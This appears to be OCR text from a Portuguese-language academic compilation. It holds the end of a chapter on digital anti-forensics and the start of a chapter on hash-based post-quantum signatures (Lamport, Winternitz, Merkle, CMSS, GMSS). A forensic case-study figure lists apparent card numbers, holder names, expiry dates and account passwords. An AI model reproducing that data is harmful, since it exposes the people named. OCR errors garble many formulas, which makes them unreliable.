22 11883394 wert3456 Ra U Gi - EVANDRO DELLA VECCHIA
1 4 00228642 eiwolk98 Ki B Gu - JOSE SILVA PEREIRA
1 1 7 13687623 J2839495 cons01392 Re I Ja - CONSTRUTORA SARAIVA
1 142 14 ) 12349753 J2783949 lailal3S U Ju 1li - LOJA DA LAILA
4614-4 14267-0 876237 08637495 J2709887 pol357ko - MINIMERCADO POKC PRECO
4612-4 14222-0 948276 93840274 J8394027 wert3456 R - EVANDRC DELLA VECCHIA
4612-4 14222-0 948276 93840274 J8394027 wert3456 R - EVANDRC DELLA VECCHIA ~
E] 1.6t VISA.txt - WordPad o || = §[ 2.bxt:Banrisul.bd - WordPad [oll= ==
A o Editar E € Ajuda Arquivo Editar Exibir Inserir Formatar Ajuda
Dzl Sk # &2 & D2d S # ® &
4841 3389 9344 3910 776 EVANDRO DELLA VECCHIA 09/17 cc Senha (8) =
4842 4729 0497 1964 220 AVELINO ZORZO 04/16 0 450536090-1 67230172 EVANDRO DELLA VECCHIZA
4568 2975 9985 0985 378 DANIEL WEBER 03/18 0 450536101-0 13572727 MARIA JOSE FONSECA ROSA
4199 0743 2876 2875 1 JORNA SILVA SAUROC 01/15 10928524 AVELINO ZORZO
3567 9974 1230 9985 084 TIBURCIO GONCALVES GOMES 09/14 0 450536122-8 09127493 MARIA DE FATIMA DUARTE SILVA
3390 2230 0976 2220 194 JOAC CARLOS SORRES SILVA 11/15 0 450536135-9 08372681 FRANK INACIO DELLA VECCHIA v
Para obter ajuda, pressione F1 Para obter ajuda, pressione F1

Figura 1.35. Conteudo dos trés arquivos escondidos localizados em “C:\SDA”

1.6 Consideracoes Finais

Este capitulo apresentou, inicialmente, uma pequena introdugdo sobre Forense Digital,
para apoOs introduzir o assunto principal, a Antiforense Digital. Foram mostrados os
conceitos de como € possivel buscar garantir a confidencialidade de informacdes
sensiveis, assim como formas que criminosos podem utilizar para esconder, confundir
ou destruir informacdes para dificultar ou impossibilitar a andlise pericial.

ApOs a apresentacdo de conceitos, foram mostradas técnicas e ferramentas para
as principais aplicagdes de Antiforense Digital: destrui¢do e prote¢do de dados. Com
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relacdo a destruicdo, foram abordadas técnicas de destrui¢do fisicas e logicas. As fisicas
sdo muito utilizadas em Orgdos que possuem informacdes sensiveis no momento de
descarte de midias, ja as logicas sdo utilizadas mais por usudrios domésticos. Com
relacdo a protecdo dos dados, as técnicas mais conhecidas, e abordadas, foram:
Criptografia e Esteganografia. As menos conhecidas: ADS, slackering, HPA e DCO,
mostraram quanta informacdo pode estar contida em uma midia e passar despercebida
por quem estd investigando um incidente. Com excecdo de ADS, que possui
ferramentas nativas no Windows que permitem sua aplicacdo, as demais sdo pouco
exploradas e € dificil encontrar algum software que aplique essas técnicas.

Por fim, foram mostrados quatro estudos de caso, dois retirados de noticias e
dois baseados na experiéncia dos autores. Estes casos mostram um pouco do trabalho do
perito digital, que cada vez mais precisa ter conhecimento de como os infratores estdo
utilizando técnicas antiforense.

Este capitulo teve como objetivos mostrar as diferentes formas que um usuério
pode proteger suas informacdes de pessoas que nao possuem autorizagdo para visualizd-
las e também esclarecer peritos que estdo iniciando na carreira sobre algumas técnicas
utilizadas por criminosos para esconder informacdes sobre seus crimes.

Nunca € demais salientar que este capitulo apresentou somente alguns exemplos
de técnicas e ferramentas e muitas outras existem e estdo disponiveis atualmente. Além
disto, o acesso a estas ferramentas e técnicas estd cada vez mais fécil e portanto cada
vez mais pessoas comuns as utilizardo. Desde o inicio do ano de 2013 quando os jornais
e revistas aumentaram a divulgacdo do acesso de informacdes de governos e grandes
empresas pela NSA dos Estados Unidos da América, muita discussdo tem sido gerada
em relacdo a forma como informagdes podem facilmente ser acessadas. Existe uma
tendéncia de que as pessoas passem a se preocupar mais com o armazenamento de suas
informagdes de maneira protegida, ou seja, se troque a maneira de utilizar o computador
de forma despreocupada com a seguranga, para uma forma onde as pessoas se
preocupem mais em se comunicar ou armazenar suas informagdes de maneira segura.
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Resumo

Em 1997, Peter Shor publicou um algoritmo quantico capaz de fatorar inteiros grandes e
de calcular logaritmos discretos em corpos finitos em tempo hdbil. Tais problemas estdo
na base da seguranga de técnicas convencionais de criptografia assimétrica (e.g. RSA,
ECC). Isso significa que uma informagcdo criptografada nos dias de hoje ndo necessa-
riamente estard segura em um momento futuro, caso computadores qudnticos tornem-se
uma realidade. Felizmente, conjectura-se que alguns esquemas criptogrdficos basea-
dos em outros problemas computacionais resistem ao ataque de Shor com computadores
quanticos e ficaram conhecidos como criptossistemas pos-qudnticos, como é o caso de
criptossistemas baseados em reticulados, em codigos corretores de erro, sistemas multi-
variados quadrdticos e fungcoes de hash. O objetivo deste minicurso é introduzir nogoes
bdsicas das principais linhas de pesquisa pos-quantica, bem como apresentar os estudos
mais recentes de melhorias dos esquemas, relacionadas a tamanhos de chaves, overhead
de assinaturas e criptogramas.

2.1. Introducao

Em meados de 1997, Peter Shor introduziu novas preocupacdes a criptografia ao
descobrir um algoritmo quantico capaz de fatorar inteiros grandes e de calcular logaritmos
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discretos em corpos finitos em tempo habil [Shor 1997]. Isso se deve ao fato de que
a seguranca de técnicas convencionais de criptografia assimétrica € baseada justamente
nesses problemas ou relacionados (e.g. RSA, ECC) [Rivest et al. 1978, Miller 1986].
Desse modo, a seguranca efetiva de tais técnicas fica condicionada a constru¢do de um
computador quantico de grande porte. Isso significa que uma informacao criptografada
nos dias de hoje ndo necessariamente estard segura em um momento futuro por conta da
dependéncia mencionada.

Outra ameaca ainda mais efetiva sdo as recentes descobertas de algoritmos cléssi-
cos, executados em computadores tradicionais, que sdo capazes de resolver certos loga-
ritmos discretos usados em criptografia assimétrica [Barbulescu et al. 2013].

Felizmente, conjectura-se que alguns esquemas criptogréaficos baseados em ou-
tros problemas computacionais resistem ao ataque de Shor com computadores quanticos
e ficaram conhecidos como criptossistemas pds-quanticos; este € o caso de criptossiste-
mas baseados em reticulados [Goldreich et al. 1997], cédigos corretores de erro [McEli-
ece 1978, Niederreiter 1986], sistemas multivariados quadraticos (MQ) [Ding e Schmidt
2005, Kipnis et al. 1999] e funcdes de hash ! [Ding e Schmidt 2005, Dods et al. 2005a],
além das construgdes de criptografia simétrica em geral.

Por outro lado, o principal desafio em criptografia assimétrica pds-quantica é a
redug@o no tamanho das chaves publicas e privadas, além do overhead de espaco consi-
derdvel por mensagem a ser assinada ou encriptada. Nesse sentido, hd um esforco em
pesquisa [Bernstein et al. 2008a] para tornar essas técnicas mais eficientes e competitivas
com técnicas convencionais, em relacdo as métricas mencionadas. Vale ressaltar que, em
se tratando do tempo de processamento, tamanho de cddigo fonte e ocupacdo de memo-
ria RAM, muitos esquemas pds-quanticos ja sdo competitivos € muitas vezes superam
esquemas convencionais.

Tendo em vista o novo paradigma de Internet das coisas, onde objetos quaisquer
sdo dotados de capacidade computacional propria e capazes de conectar-se a internet,
podendo atualizar-se de forma autdonoma e estabelecer redes interconectadas. Um efeito
colateral dessa interconectividade ¢ uma possivel vulnerabilidade destes sistemas embar-
cados. Ataques que t€m sido primariamente voltados a PCs podem, ser lancados contra
carros, aparelhos celulares, e-tickets, RFIDs.

Neste cendrio, os dispositivos sdo caracterizados por apresentarem tipicamente es-
cassez no fornecimento de energia (via bateria) e capacidade limitada de processamento,
armazenamento e muitas vezes canais de comunica¢do com baixa largura de banda (e.g.
SMS).

Uma vez que sistemas embarcados sdo normalmente implantados em larga escala,
os custos tornam-se uma das principais preocupagdes dos projetistas. Logo, solugdes de
segurancga para embarcados devem apresentar baixo custo, que pode ser atingido com o
projeto de solucdes que minimizem overhead de transmissdo, processamento € ocupagao
de memoria. Nesse sentido as técnicas de criptografia simétrica em geral ja atendem as

10 termo “resumo"(criptografico), em vez de “hash", tem sido usado sem grande aceitagdo. Por isso,
optamos por “func¢des de hash"ou simplesmente “hash"”. Dependendo do contexto, hash pode significar
também o valor da funcio de hash num dado argumento. Como plural, usamos “hashes”.
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métricas necessdrias, sendo a criptografia assimétrica o gargalo na maior parte dos casos.

Primitivas criptograficas assimétricas para encriptacao e assinatura digital sdo es-
senciais dentro de um arcabouco de seguranca moderno. Mas as técnicas convencionais
ndo sdo suficientemente eficientes em certos aspectos, o que dificulta sua utilizacdo em
plataformas embarcadas de baixo poder computacional. Nesse contexto a auséncia de
operacdes custosas (operagdes com inteiros grandes, principalmente exponenciagdes mo-
dulares) das técnicas pds-quanticas as torna mais atraentes em cendrios de recursos com-
putacionais escassos, como os descritos anteriormente.

O objetivo do minicurso € introduzir no¢des basicas das principais linhas de
pesquisa pés-quantica (codigos corretores de erros, sistemas MQ, reticulados e hash),
bem como apresentar os estudos mais recentes visando a melhorias dos esquemas relaci-
onadas a tamanhos de chaves, overhead de assinaturas e criptogramas.

2.2. Esquemas de assinatura digital baseados em funcoes de hash

Esquemas de assinatura digital baseados em fung¢des de hash popularizaram-se
apos o trabalho de Ralph Merkle [Merkle 1979] em 1979. O esquema proposto por Mer-
kle (MSS) € inspirado no esquema de assinatura one-time de Lamport e Diffie [Lamport
1979]. A seguranga de tais esquemas € baseada na resisténcia a colisdo e na resisténcia a
inversao da fungdo de hash utilizada. O esquema (MSS) € considerado prético e resistente
aos computadores cldssicos e quanticos, pois ndo se conhece, na literatura, uma maneira
de aplicar o algoritmo de Shor neste esquema. A desvantagem dos esquemas de assinatura
digital one-time € que uma dada chave privada pode ser utilizada para gerar apenas uma
assinatura, embora essa assinatura possa ser verificada um nimero arbitrario de vezes.

2.2.1. Funcoes de hash

Funcgdes de hash criptograficas sdo usadas em aplicacdes de seguranga como es-
quemas de assinatura digital, identificacdo de dados, derivacdo de chaves, entre outros.
Formalmente, uma funcéo de hash 4 : {0, 1}* — {0, 1}"* mapeia cadeias binarias m de ta-
manho finito e arbitrario para cadeias bindrias r de tamanho fixo n. Deste modo, r = h(m).

Dado que o conjunto imagem {0, 1} de & é um subconjunto do {0,1}*, é fAcil
perceber que mais de uma mensagem serd mapeada para o mesmo hash. Algumas apli-
cacdes necessitam que seja computacionalmente invidvel que um atacante encontre duas
mensagens aleatdrias que gerem o mesmo hash, por exemplo, no contexto de assinaturas
digitais; outras apenas requerirdo que seja computacionalmente invidvel encontrar uma
mensagem dado o conhecimento do seu hash.

2.2.2. Propriedades

As propriedades criptogréficas bésicas que as fun¢des de hash devem possuir sdo:
resisténcia a pré-imagem, resisténcia a segunda pré-imagem e resisténcia a colisdo.

1. Resisténcia a pré-imagem: dada uma funcgdo h : {0,1}* — {0,1}" e um hash r, é
computacionalmente invidvel encontrar uma cadeia bindria m tal que h(m) = r.

2. Resisténcia a segunda pré-imagem: dada uma funcdo 4 : {0,1}* — {0,1}" e uma
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mensagem m, é¢ computacionalmente inviavel encontrar m’ tal que m’ # me h(m’) =
h(m).

3. Resisténcia a colisdo: dadauma funcio 4 : {0, 1}* — {0, 1}", € computacionalmente
inviavel encontrar m,m’ € M tal que m’ # m e h(m") = h(m).

Outra propriedade desejdvel para aplicagdes praticas, é que a fun¢do de hash seja eficiente
(velocidade, mémoria, energia etc.) quando for implementada em varias plataformas de
hardware e/ou software. E facil ver que uma funcio que é resistente a colisio é também
resistente a segunda pré-imagem, mas a reciproca ndo necessariamente € verdade.

2.2.3. Construcao de funcoes de hash

O projeto de fungdes de hash tem sido baseado em diferentes técnicas tais como:
encriptadores de bloco [Matyas et al. 1985, Winternitz 1983, Preneel 1983], o método
iterativo de Merkle-Damgard [Merkle 1979] (MD5, SHA-1 e SHA-2), a construcio es-
ponja [Bertoni et al. 2007] (SHA-3), e primitivas aritméticas [Contini et al. 2005].

Os padrdes baseados nessas funcdes vém evoluindo, principalmente em fungdo
das sucessivos ataques anunciados na literatura e eventos especializados. Recentemente,
uma competicao ptblica para escolher o padrao SHA-3 foi concluido, tendo sido vence-
dora uma funcgdo do tipo esponja. Nao € nosso objetivo neste texto detalhar tais constru-
coes.

2.2.4. Esquemas de Assinatura

Um esquema de assinatura S /IGN € uma tripla de algoritmos: (GEN;SIG;VER)
que satisfaz as seguintes propriedades:

1. O algoritmo de geracdo de chaves GEN recebe como entrada um parametro de
seguranca 1" e produz um par de chaves (X,Y), onde X € a chave privadae Y € a
chave publica.

2. O algoritmo de geragdo de assinatura S /G recebe como entrada uma mensagem
M €{0,1}* e uma chave privada X e produz uma assinatura S ig, denotada por S ig «
SIGx(M).

3. O algoritmo de verificacao de assinatura VER recebe como entrada uma mensagem
M, uma assinatura Sig de M e uma chave publica Y e produz um bit b, onde b =1
significa que a assinatura € vdlida e b = 0 indica que a assinatura € invalida.

2.2.5. Assinatura one-time

Assinaturas One-Time aparecem inicialmente nos trabalhos Lamport [Lamport
1979] e Rabin [Rabin 1978]. Merkle [Merkle 1979] propds uma técnica que permite
transformar um esquema de assinaturas one-time em um esquema com nimero de assi-
naturas arbitrario. A seguir descreveremos os esquemas de Lamport [Lamport 1979] e
Winternitz [Merkle 1987].
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2.2.5.1. Esquema de assinatura one-time de Lamport:

O esquema de assinatura one-time de Lamport (LD-OTS) foi proposto em [Lam-
port 1979]. Seja n um inteiro positivo, o parametro de seguranga, o esquema LD-OTS
utiliza uma fungdo one-way

f:0, 13" = {0, 1}
e uma fung¢do de hash criptografico

g:{0, 1} — {0, 1}".

Geracgdo do par de chaves LD-OTS: A chave de assinatura X consiste de 2n cadeias de
bits de comprimento n escolhidos aleatoriamente,

X = (x0[0], x0[1], .. Xp_1 [0, X  [1]) € g{0, 1},
A chave de verificacdo Y é

Y = (yol01, o[ 11, ees a1 [0], vt [1]) € {0, 1}(%2.
onde y;[j1 = f(xi[j]),0<i<n-1, j=0,1.

Geragdo de assinatura LD-OTS: O hash d de uma mensagem M € assinada usando a
chave de assinatura X. Para assinar, primeiro calcula-se d = g(M) = (dy, ...,d,—1). Ento,
0 assinante gera a assinatura

Sig = (8ig0, ..., sign-1) = (x0[do], .o Xn-1[dn-1]) € (0,1}

Para gerar Sig, ndo ha aplicacOes da funcdo de hash, pois a assinatura realiza somente a
selecdo de bits da chave X de acordo com os bits do hash da mensagem.

Verificacdo de assinatura LD-OTS: Na verifica¢do de assinatura, o verificador tem como
entrada: a assinatura Sig = (sigo, ..., Sigs—1), a mensagem M e a correspondente chave pu-
blica de verificagdo Y. Para verificar, primeiro calcula-se o hash da mensagem d = g(M) =
(do, ...,d,_1). Entdo o verificador checa se

Sig = (f(sigo),.... f(sign-1)) = Goldo], ..., yn-1[dn-11]).

Na Figura 2.1 ilustramos o esquema de Lamport. Neste exemplo a funcio one-
way utilizada foi f(x) = x+1 mod 16. Para a geracdo da chave de verificagcdo, sdo neces-
sarias 2n aplicacOes da funcdo one-way, uma para cada elemento de X. Para a verificacio
da assinatura, a funcdo one-way € executada n vezes, uma para cada elemento de S ig.

2.2.5.2. Esquema de assinatura one-time de Winternitz:

Winternitz propds uma melhora no esquema de assinatura one-time de Lamport,
diminuindo o tamanho da chave publica e privada. Este esquema W-OTS foi mencionado
pela primeira vez em [Merkle 1987]. O esquema W-OTS utiliza uma funcao one-way

£:40,1" = {0, 1)"
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(publica) Y Assinatura one-time de Lamport

sig=[131 8 2]

" gerada a partir da selegé@o da chave X'
gerada a partir da chave X Caloula sig'=f(sig)
sig=[12 07 1]
fungéo one-way: envia(M,Y,sig)
f(x)=x+1 mod 16 >

Figura 2.1. Exemplo do esquema de assinatura one-time de Lamport

e uma func¢do de hash criptografica
g:{0,1}" = {0,1}",

onde n € um inteiro positivo. O pardmetro w denota o nimero de bits que sdo processados
simultaneamente. Quanto maior for o w menor serd a chave de assinatura e maior serd o
tempo de assinatura e verificacdo. Em [Dods et al. 2005b] foi feita uma andlise compa-
rativa do tempo de execugdo e tamanho das chaves em relagdo ao parametro w.

Geracdo do par de chaves W-OTS: Um parametro w € N € escolhido. A chave de as-
sinatura privada é

X = (X0, ..., Xr1) €g {0, 1}

onde os x; sao escolhidos aleatoriamente. O tamanho ¢ € obtido calculando ¢ = #| + 17,

onde
{n} [Llog2t1J+ 1 +w}
t=|—1 1 = .
w

w

A chave publica de verificacdo
Y = (0, yi-1) € {0, 1)
¢ gerada aplicando a fun¢do f a cada elemento da chave de assinatura 2" — 1 vezes:

Vi =f2W_1(xi), para i=0,..,1—1.

Na Figura 2.2 mostramos um exemplo do processo de geracdo de chaves para
o esquema de assinatura de Winternitz, utilizando uma funcdo one-way. Este esquema
produz chaves de assinaturas menores que o de Lamport, porém aumenta o nimero de
aplicagdo da fungdo one-way de 1 para 2" — 1 em cada elemento da chave de assinatura.
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Chaves de
Assinatura X:
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aleatoriamente
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Yy Y2 V3 Yi

Chaves de
Verificagédo Y: ol ol ol 3
—>

Figura 2.2. Exemplo da gera¢ao de chaves no esquema de assinatura one-time de Winternitz

Geragdo de assinatura W-OTS: Para gerar uma assinatura, primeiro calcula-se o hash
da mensagem d = g(M) = (dy,...,d,—1). Se necessario, adicionamos zeros a esquerda de
d, tal que d seja divisivel por w. Entdo d € dividido em #; blocos bindrios de tamanho
w, resultando em d = (my|...|lm;,-1), onde || representa a concatenagdo. Os blocos m; sdo
representados como inteiros em {0, 1,...,2" — 1}. Entao calcula-se o checksum

t—1
c= > 2" -my).
i=0

Como ¢ < 112", o comprimento da representacio bindria de ¢ € menor que |[log, #12" |+ 1 =
[log, t1]+w+ 1. Se for necessario, adicionam-se zeros a esquerda do ¢ de tal forma que a
cadeia c estendida seja divisivel por w. Entdo a cadeia estendida ¢ pode ser dividida em
1 blocos ¢ = (coll...|lc;,—1) de comprimento w. Concatenamos em b a cadeia estendida
d com a cadeia estendida c. Entdo b = (bollb1]|...[|bs—1) = (moll...|lms —1llcoll. .. llcr,=1)-
Calculamos a assinatura como:

Sig = (5i80, s sigr—1) = (f70(x0), f21(X1); vy f71 (Xi=1))-

Verificacdo de assinatura W-OTS: Para verificar a assinatura Sig = (sigo, ..., Sigs—1) da
mensagem M, primeiro calculamos os parametros by, ..., b;—; da mesma forma que durante
a geragdo de assinatura. Depois, calcula-se:

. W_ —D; . .
sigh = [+ ~hiGsigy), para i=0,..t—1.
Entdo, para checar a assinatura, verifica:

se Sig’ = (sigy,...,sig;_,) €igual a Y = (yo,...,y;-1) a assinatura € vdlida, caso contrério
¢ recusada.
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2.2.6. MSS-Esquema de assinatura digital de Merkle

No esquema de assinatura digital de Merkle descrito a seguir, a chave de assinatura
e a chave de verificacio one-time sdo as folhas da arvore e, a chave publica, € a raiz. Uma
arvore com altura H e 2 folhas tera 2/ pares de chaves one-time piblicas e privadas.

2.2.6.1. Geracao de chaves da arvore de Merkle

Para gerar a chave publica pub de Merkle, que corresponde a raiz da arvore de
Merkle, primeiro € preciso gerar o par de chaves, publica e privada, one-time para cada
folha da arvore de Merkle.

Geragdo do par de chaves one-time: Um algoritmo de assinatura one-time gera as chaves
privadas X[u] e publicas Y[u], para as folhas u = 1,...,2". O Algoritmo 2.2.1 descreve o
processo de geracdo de um par de chaves one-time de Winternitz. Um algoritmo de ge-
racdo de nimeros pseudo-aleatérios PRNG ¢ utilizado para gerar os ¢ elementos da chave
de assinatura, reduzindo o custo de armazenamento das chaves privadas, pois somente a
semente do PRNG ¢é armazenada.

Algoritmo 2.2.1 Geracao do par de chaves one-time de Winternitz [Merkle 1979]
Entrada: parametro Winternitz t.
Saida: Matrizes X, Y de tamanho[27][256].
Cria as matrizes X e Y.
Cria as matrizes tempordrias x e y de tamanho[t][256].
para (u=1,u <t,u++) faca
Gera aleatoriamente a semente para o PRNG: X[u] = semente;
x[0]=PRGN(X[u));
para(i=1,i<t¢t, i++) faca
yli-11 = /2~ (i - 1D);
x[i] = PRNG(x[i—1]);
Y[u]=g([O]ll...IIy[z — 11);
retorne X,Y;

Geracdo da chave ptiblica pub: O Algoritmo 2.2.2 gera a chave publica pub da arvore de
Merkle. Os valores de entrada sdo: a folha inicial folhalni e a altura da arvore alturaMax.
Cada n6 folha (no[u]) da arvore, recebe a chave de verificacdo (Y[u]) daquela folha. O
valor de cada né intermedidrio (no[pai]) € o resultado da aplicagdo da funcido de hash
na concatenacio dos valores de seus dois filhos, esquerdo (no[esq]) e direito (no[dir]).
Cada vez que uma folha u € calculada e empilhada em pilhaNo, o algoritmo verifica se
os nos do topo da pilha tem alturas iguais. Se as alturas forem iguais, os dois nds serdo
desempilhados, concatenados em no[pai] e gerado um novo hash, que serd empilhado em
pilhaNo. O algoritmo termina quando a raiz da arvore € encontrada.

A Figura 2.3 demonstra a ordem em que os nés sdo empilhados na arvore con-
forme execucdo do Algoritmo 2.2.2. Os nds em cinza, representam os nds que ja foram
gerados. O 4° n6 da arvore gerado (folha u = 2), recebeu o valor de Y[2]. O 3% n6 é
resultado do hash da concatenagdo dos nés 1 e 2.
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Algoritmo 2.2.2 ArvoreDehash [Merkle 1979]
Entrada: Inteiros folhalni, alturaMax; Matrizes de 256 bits Y:
Saida: Uma estrutura né pub: A raiz da arvore.
Cria uma pilha pilhaNo.
para (u = folhalni, u < 24wreMax 4 1) faca
Guarda Y[u] em n6 folha no[u].hash = (Y[u])
Empilha no[u] na pilha pilhaNo
enquanto Os n6s do topo da pilha pilhaNo tiverem altura iguais faca
Desempilha o n6 no[dir] de pilhaNo
Desempilha o n6 nolesq] de pilhaNo
Calcula no| pail.hash = g(nolesq].hashl||noldir].hash)
se no[ pail.altura=alturaMax entao
retorne (no[pail)
senao
Empilha no[pai] na pilha pilhaNo

«— Chave publica da

5=pu

/ lee
- -~
’
70
-~ - /~_\
- -~ - ~ - ~
@ C s ¢ 10 ) ¢ 13 )
‘\- /~_—\ [~_—\
- -~ - -~ - - - ~ -——
C 5 Y 8 Y 9 Y 11 Y 12 )
EDIED, Coo e e 2

Yi2]=g(y[olll ---llyIt))

Chave de Verificagao Publica one-time Y

Chave de Assinatura Privada one-time X
Gerada Aleatoriamente

Figura 2.3. Geracao da chave publica da arvore de Merkle
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2.2.6.2. Geracao de assinatura

O esquema MSS permite a geragio de 27 assinaturas, para uma arvore de altura H.
Suponha que tenhamos M[u] mensagens, para u = 0,..,27. A mensagem M[u] é assinada
com o esquema de assinatura one-time, resultando em uma assinatura S ig, no qual utiliza
a chave X[u] para assinar a mensagem M|[u], conforme apresentado em [J. Buchmann e
Szydlo 2008]. Uma arvore de autenticacdo Aut € utilizada para guardar os nds no ca-
minho necessdrios para autenticar uma folha Y[u], reduzindo a necessidade de enviar
toda a drvore para o receptor. A assinatura S /G de Merkle é composta de Sig e da cor-
respondente chave de verificacdo Y[u]. Também é preciso incluir o indice u (indice da
folha) e o respectivo caminho de autenticacdo, Aut = (Aut[0],..,Aut[H — 1]). Assim, a
assinatura S IG = (u,Sig, Y[ul, (Aut[0], ..., Aut[H — 1])).

O algoritmo classico do caminho de autenticacdo. O algoritmo cldssico do caminho
de autenticacdo (Classic Merkle Tree Traversal) [Merkle 1987] calcula os nés de auten-
ticacdo Aut para cada folha da 4rvore, necessdrios para autenticar a chave publica pub
da arvore de Merkle. Este algoritmo utiliza duas varidveis do tipo pilha: Aut e Aux. A
pilha Aut contém o caminho de autenticacdo atual e a pilha Aux guarda os proximos nos
de autenticagcdo que serdo necessdrios. O caminho Aut é composto pelos valores dos nds
Aut[h] em cada altura que sdo os irmaos direitos dos nds no caminho de autenticacdo que
ligam a folha até a raiz da arvore de Merkle.

Vamos descrever o processo de geracao dos caminhos de autenticagdo. O primeiro
caminho de autenticacdo € gerado durante a execugdo do Algoritmo 2.2.2. Os préximos
caminhos de autenticagdo sdo gerados pelo Algoritmo 2.2.3 a medida em que as assi-
natura sdo realizadas. Na Figura 2.4, os n6s em cinza mostram o primeiro caminho de
autenticacdo Aut para a folha u = 0.

chave publica da
@ <@—  arvore de Merkle

Chave de Verificagao one-time
m Chave de Assinatura one-time

Figura 2.4. Execucéao do Algoritmo 2.2.2 com o primeiro caminho de autenticacao

Fase de saida e atualizacdo. O Algoritmo 2.2.3 mostra os passos para produzir o proximo
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caminho de autenticag@o para a folha u seguinte na drvore. A primeira assinatura usa a
folha u = 0 e a cada assinatura realizada, a folha € atualizada em uma unidade e o préximo
caminho de autenticagdo € preparado de forma eficiente, pois somente os nés do caminho
que mudam serdo atualizados.

Algoritmo 2.2.3 Algoritmo de percurso na arvore [Merkle 1979]
Entrada: Inteiro altura H.
Saida: Uma assinatura com o caminho de autenticagio: Aut.
para (u=0,u <2" u++)faca
para (h =0,h < H,h+ +) faca retorne A pilha Aur da folha u

O assinante assina com a folha u
para (h=0,h < H,h++) faca
se (u+1)/(2") = 0 entido
Atualiza Aut[h] = Aux[h]
nopi = w+1+2MHe2"
Aux[h].atualiza(nop,;, h).

O Algoritmo 2.2.3 atualiza os nés de autenticacdo através da execucdo da fungao
Aux[h].atualiza(noyy,, h), que executa o Algoritmo 2.2.2 no né e altura selecionados.
Depois de 2" rodadas o valor do né selecionado serd completado.

2.2.6.3. Verificacido de assinatura

De acordo com o método em [J. Buchmann e Szydlo 2008], o processo de verifi-
cacdo de assinatura consiste de duas etapas: na primeira etapa, a assinatura Sig é verifi-
cada utilizando-se a chave de verificacdo one-time Y[i] e o respectivo algoritmo one-time;
na segunda etapa, é preciso validar a chave publica da drvore de Merkle, entdo o recep-
tor calcula o respectivo caminho de autenticac¢do, construindo o caminho (p[0],..., p[H])
da folha i até a raiz, para toda altura 4. O indice i € utilizado para decidir em qual or-
dem o caminho de autenticacao sera reconstruido. Inicialmente, para a folha de indice i,
pl0] = g(Y[i]). Para h =1,2,...,H executa-se a condicdo a seguir para calcular o valor
hash da sequéncia dos nés em cada altura:

0 = g(Autlh—1|lp[h— 1)) if Li/2" )] =1 mod 2;
| g(plh—11l|Aut[h—1]) caso contdrio.

Ao final, compara-se o valor de p[H] com a chave publica conhecida pub. Se o valor for
igual, a autentica¢do é confirmada.

2.2.7. CMSS - Um aperfeicoamento no esquema de assinatura de Merkle

O esquema CMSS [Buchmann et al. 2006] € uma variante do esquema MSS que
permite aumentar a quantidade de assinaturas de 220 para 240, Neste trabalho os autores
demonstraram que CMSS é competitivo na pratica, apresentando uma aplicacdo altamente
eficiente dentro do Java Cryptographic Service Provider FlexiProvider e mostraram que
a aplicacdo pode ser usada para assinar mensagens no Microsoft Outlook.
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No esquema CMSS sdo construidas duas arvores, uma subdrvore e uma arvore
principal, cada uma com 2" folhas, para h = H/2. Assim, aumenta o niimero de assinaturas
em relacdo ao MSS, pois o MSS se torna impraticavel para uma altura H > 25, porque
aumenta muito a quantidade de chaves privadas a serem armazenadas e, a geracdo de
par de chaves leva muito tempo. Para gerar 220 chaves de assinatura, duas drvores com
altura 2'Y sdo geradas no CMSS, enquanto que no MSS uma tnica arvore com 2% nés é
construida. Desta forma, o tempo de geracdo de chaves € reduzido.

Para melhorar o tempo de geracdo de assinatura, os autores utilizam o algoritmo
de Szydlo [Szydlo 2003] que € mais eficiente. Este algoritmo foi implementado no artigo
[Buchmann et al. 2008], no qual a proposta € equilibrar a quantidade de cédlculos de folhas
em cada caminho de autenticacao.

Para reduzir o tamanho da chave privada, utiliza-se um gerador de nimeros PRNG
[NIST 2007] no qual somente a semente do PRNG ¢é armazenada. Utilizando uma funcio
de hash de n bits e o parametro de Winternitz ¢, a chave de assinatura teria (¢n) bits. Com
o uso do gerador PRNG, € possivel guardar somente a semente de n bits.

O esquema CMSS usa duas drvores de autenticacdo MSS, uma drvore principal e
uma subdrvore, A chave publica CMSS € a raiz da arvore principal. Os dados sdo assi-
nados com as folhas da subarvore. Apés as 2" primeiras assinaturas serem geradas, uma
nova subdrvore é construida e utilizada para gerar as préximas 2" assinaturas.

Geragdo de Chaves CMSS: Para gerar o par de chaves, o algoritmo de geracdo de chaves
do MSS é chamado duas vezes. Inicialmente, a primeira subdrvore e seu primeiro ca-
minho de autenticacdo sdo gerados. Entdo, a arvore principal e seu primeiro caminho de
autenticacio sdo computados. A chave ptiblica CMSS € a raiz da arvore principal. CMSS
usa o esquema de assinatura one-time de Winternitz. Observamos o esquema CMSS na
figura 2.5.

Geracgdo de Assinatura CMSS: A geracdo de uma assinatura CMSS € realizada em qua-
tro partes. Primeiro, a assinatura MSS do documento d € calculada usando a subdrvore.
Entdo, a assinatura MSS da raiz da subdrvore € calculada usando uma folha arvore princi-
pal. Entdo, a proxima subdarvore € parcialmente construida. Finalmente, a chave privada
CMSS € atualizada para a proxima assinatura. Cada vez que uma nova assinatura CMSS
¢ computada, a assinatura da raiz da subarvore atual € recalculada. O tempo necessério
para recalcular esta assinatura MSS € tolerdvel.

Verificacdo de Assinatura CMSS: A verificagdo de assinatura CMSS é realizada em dois
passos. Primeiro, os dois caminhos de autenticagdo sdo validados, entdo a validade das
duas assinaturas one-time sao verificadas.

2.2.8. GMSS - Esquema de Merkle com capacidade virtualmente ilimitada de gera-
¢ao de assinaturas

O esquema GMSS foi publicado em 2007 [Buchmann et al. 2007], no qual os
autores propdem uma alteragdo no esquema de assinatura Merkle que permite assinar um
nimero ilimitado de mensagens 28° usando um tinico par de chaves. O esquema GMSS foi
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chave publica de Merkle

arvore principal 2

subarvore 1

Figura 2.5. Esquema de assinatura CMSS

utilizado para projetar um protocolo cliente servidor para servidores web usando SSL/TLS
que minimiza a laténcia e aumenta a resisténcia a ataques de negagdo de servigo.

A construgdo basica de GMSS consiste de uma arvore com 7 camadas. Subarvo-
res em camadas diferentes podem ter alturas diferentes. Para reduzir o custo de geracdo
de uma assinatura, o esquema GMSS usa a gera¢do de uma assinatura de forma distri-
buida, distribuindo a geracdo de assinatura em cada subdrvore em vdrias assinaturas. Este
esquema também possibilita escolher parametros w de Winternitz diferentes para subdr-
vores em camadas diferentes, produzindo assim, assinaturas menores.

Geracdo de chaves GMSS: Para cada subdrvore, o algoritmo de geracao de chaves, W-
OTS, gera as chaves de assinatura e o Algoritmo 2.2.2 da Arvore de hash calcula as raizes
das arvore Raiz;p. Os primeiros caminhos de autenticagdo de cada subarvore sdo salvos
